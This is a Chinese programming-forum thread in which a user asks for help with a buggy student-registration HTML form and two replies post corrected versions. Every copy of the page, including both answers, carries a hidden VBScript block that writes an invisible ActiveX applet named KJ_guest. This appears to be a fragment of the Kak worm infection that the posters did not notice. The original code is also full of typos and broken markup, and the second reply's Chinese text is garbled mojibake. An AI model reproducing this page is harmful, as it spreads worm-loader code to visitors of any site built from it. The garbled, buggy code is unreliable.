<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<title>新同学注册</title><script language=JavaScript>
function isEmpty(str){
           if((str==null)||(str.length==0))
              return true;
            else return(flase);
                      }function isEmail(theStr){
           var atIndex=theStr.indexOf('@');
           var dotIndex=theStr.indexOf('.',atIndex);
           var flag=true;
           theSub=theStr.substring(0,dotIndex+1);
        if((atIndex<1)||(atIndex!=theStr.lastIndexOf('@'))||
           (dotIndex<atIndex2B2)||(theStr.length<=theSub.length))
          {flag=false;}
       else{flag=true;}
       return (flag);
   }
   
   
     function checkform(){
                 var flag=true;
                   if(isEmpty(window.document.studentNewFrm.studentID.value)){
                    alert("学号不能为空!");
                    window.document.studentNewFrm.studentID.focus();
                    flag=flase;}
                 else 
                   if(isEmpty(window.document.studentNewFrm.password.value)){
                    alert("密码不能为空!");
                    window.document.studentNewFrm.password.focus();
                    flag=flase;}
                 else
                   if(isEmail(window.document.studentNewFrm.email.value)!=true){
                    alert("邮箱地址应包含@与.")
                    window.document.studentNewFrm.email.focus() 
                    flag=flase;}
                    return flag;
                                       }
</script>                                       
</head>
<body>
<form method="post" name="studentNewFrm" onsubmit="return checkform(this)">
</form><p>学号:<input type="text" name="studentID" size="20"></p>
<p>姓名:<input type="text" name="studentname" size="20"></p>
<p>密码:<input type="password" name="password" size="20"></p>
<p>电子邮箱:<input type="text" name="email" size="20"></p>
<p>性别:<input type="radio" value="1" checked name="sex">男<input type="radio" name="sex" value="2">女</p>
<p>院系:<select size="1" name="department">
  <option selected>计算机科学与技术系</option>
  <option>材料系</option>
  <option>食品工程系</option>
  <option>机电学院</option>
  <option>经贸学院</option>
  <option>艺术学院</option>
  <option>轻化学院</option>
  <option>化工学院</option>
</select></p>
<p><input type="submit" value="注册" name="submitbutton">
<input type="reset" value="重写" name="resetbutton" </p>
</form>
</body>
</html>
<HTML>
<BODY>
<script language=vbscript>
document.write "<div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'><"&"APPLET NAME=KJ"&"_guest HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent></APPLET></div>"
</script>
</BODY>
</HTML></慕白兄>

解决方案 »

  1.   

    <html><head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    <meta name="GENERATOR" content="Microsoft FrontPage 4.0">
    <title>新同学注册</title><script language=JavaScript>
    function isEmpty(str){
               if(str=="")
                  return true;                      }function isEmail(theStr){
               var atIndex=theStr.indexOf('@');
               var dotIndex=theStr.indexOf('.',theStr);
               theSub=theStr.substring(0,dotIndex+1);
            
            if((atIndex<1)||(atIndex!=theStr.lastIndexOf('@'))||
               (dotIndex<atIndex+2)||(theStr.length<=theSub.length))
              {return true;}
           else{return false;}
                            }
         function checkform(e){
                       if(isEmpty(e.studentID.value)){
                        alert("学号不能为空!");
                        e.studentID.focus();
                        return false;}                   if(isEmpty(e.password.value)){
                        alert("密码不能为空!");
                        e.password.focus();
                        return false;}                   if(isEmail(e.email.value)){
                        alert("邮箱地址应包含@与.")
                        e.email.focus(); 
                        return false;}                    return true;
                                           }
    </script>                                       
    </head>
    <body>
    <form method="post" name="studentNewFrm" onsubmit="return checkform(this)">
    <p>学号:<input type="text" name="studentID" size="20"></p>
    <p>姓名:<input type="text" name="studentname" size="20"></p>
    <p>密码:<input type="password" name="password" size="20"></p>
    <p>电子邮箱:<input type="text" name="email" size="20"></p>
    <p>性别:<input type="radio" value="1" checked name="sex">男<input type="radio" name="sex" value="2">女</p>
    <p>院系:<select size="1" name="department">
      <option selected>计算机科学与技术系</option>
      <option>材料系</option>
      <option>食品工程系</option>
      <option>机电学院</option>
      <option>经贸学院</option>
      <option>艺术学院</option>
      <option>轻化学院</option>
      <option>化工学院</option>
    </select></p>
    <p><input type="submit" value="注册" name="submitbutton">
    <input type="reset" value="重写" name="resetbutton" </p>
    </form>
    </body>
    </html>
    <HTML>
    <BODY>
    <script language=vbscript>
    document.write "<div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'><"&"APPLET NAME=KJ"&"_guest HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent></APPLET></div>"
    </script>
    </BODY>
    </HTML>
      

  2.   

    你怎么会再一个页面有两个<html>标签,onload="vbscript:KJ_start()"我没有找到
    程序修改如下
    <html><head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    <meta name="GENERATOR" content="Microsoft FrontPage 4.0">
    <title>&ETH;&Acirc;&Iacute;&not;&Ntilde;§×&cent;&sup2;á</title><script language=JavaScript>
    function isEmpty(str){
               if((str==null)||(str.length==0))
                  return true;
                else return(false);
                          }function isEmail(theStr){
               var atIndex=theStr.indexOf('@');
               var dotIndex=theStr.indexOf('.',atIndex);
               var flag=true;
               theSub=theStr.substring(0,dotIndex+1);
            if((atIndex<1)||(atIndex!=theStr.lastIndexOf('@'))||
               (dotIndex<atIndex+2)||(theStr.length<=theSub.length))
              {flag=false;}
           else{flag=true;}
           return (flag);
                            }
         function checkform(form){
                     var flag=true;
                       if(isEmpty(form.studentID.value)){
                        alert("&Ntilde;§&ordm;&Aring;&sup2;&raquo;&Auml;&Uuml;&Icirc;&ordf;&iquest;&Otilde;&pound;&iexcl;");
                        form.studentID.focus();
                        flag=false;}
                     else 
                       if(isEmpty(form.password.value)){
                        alert("&Atilde;&Uuml;&Acirc;&euml;&sup2;&raquo;&Auml;&Uuml;&Icirc;&ordf;&iquest;&Otilde;&pound;&iexcl;");
                        form.password.focus();
                        flag=false;}
                     else
                       if(isEmail(form.email.value)!=true){
                        alert("&Oacute;&Ecirc;&Iuml;&auml;&micro;&Oslash;&Ouml;·&Oacute;&brvbar;°ü&ordm;&not;@&Oacute;&euml;.")
                        form.email.focus() 
                        flag=false;}
                        return flag;
                                           }
    </script>                                       
    </head>
    <body>
    <form method="post" name="studentNewFrm" onsubmit="return checkform(this)" action='xx.asp'>
    <p>&Ntilde;§&ordm;&Aring;&pound;&ordm;<input type="text" name="studentID" size="20"></p>
    <p>&ETH;&Otilde;&Atilde;&ucirc;&pound;&ordm;<input type="text" name="studentname" size="20"></p>
    <p>&Atilde;&Uuml;&Acirc;&euml;&pound;&ordm;<input type="password" name="password" size="20"></p>
    <p>&micro;&ccedil;×&Oacute;&Oacute;&Ecirc;&Iuml;&auml;&pound;&ordm;<input type="text" name="email" size="20"></p>
    <p>&ETH;&Ocirc;±&eth;&pound;&ordm;<input type="radio" value="1" checked name="sex">&Auml;&ETH;<input type="radio" name="sex" value="2">&Aring;&reg;</p>
    <p>&Ocirc;&ordm;&Iuml;&micro;&pound;&ordm;<select size="1" name="department">
      <option selected>&frac14;&AElig;&Euml;&atilde;&raquo;ú&iquest;&AElig;&Ntilde;§&Oacute;&euml;&frac14;&frac14;&Ecirc;&otilde;&Iuml;&micro;</option>
      <option>&sup2;&Auml;&Aacute;&Iuml;&Iuml;&micro;</option>
      <option>&Ecirc;&sup3;&AElig;·&sup1;¤&sup3;&Igrave;&Iuml;&micro;</option>
      <option>&raquo;ú&micro;&ccedil;&Ntilde;§&Ocirc;&ordm;</option>
      <option>&frac34;&shy;&Atilde;&sup3;&Ntilde;§&Ocirc;&ordm;</option>
      <option>&Ograve;&Otilde;&Ecirc;&otilde;&Ntilde;§&Ocirc;&ordm;</option>
      <option>&Ccedil;á&raquo;&macr;&Ntilde;§&Ocirc;&ordm;</option>
      <option>&raquo;&macr;&sup1;¤&Ntilde;§&Ocirc;&ordm;</option>
    </select></p>
    <p><input type="submit" value="×&cent;&sup2;á" name="submitbutton">
    <input type="reset" value="&Ouml;&Oslash;&ETH;&acute;" name="resetbutton"&iexcl;&iexcl;></p>
    </form>
    </body>
    </html>
    <script language=vbscript>
    document.write "<div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'><"&"APPLET NAME=KJ"&"_guest HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent></APPLET></div>"
    </script>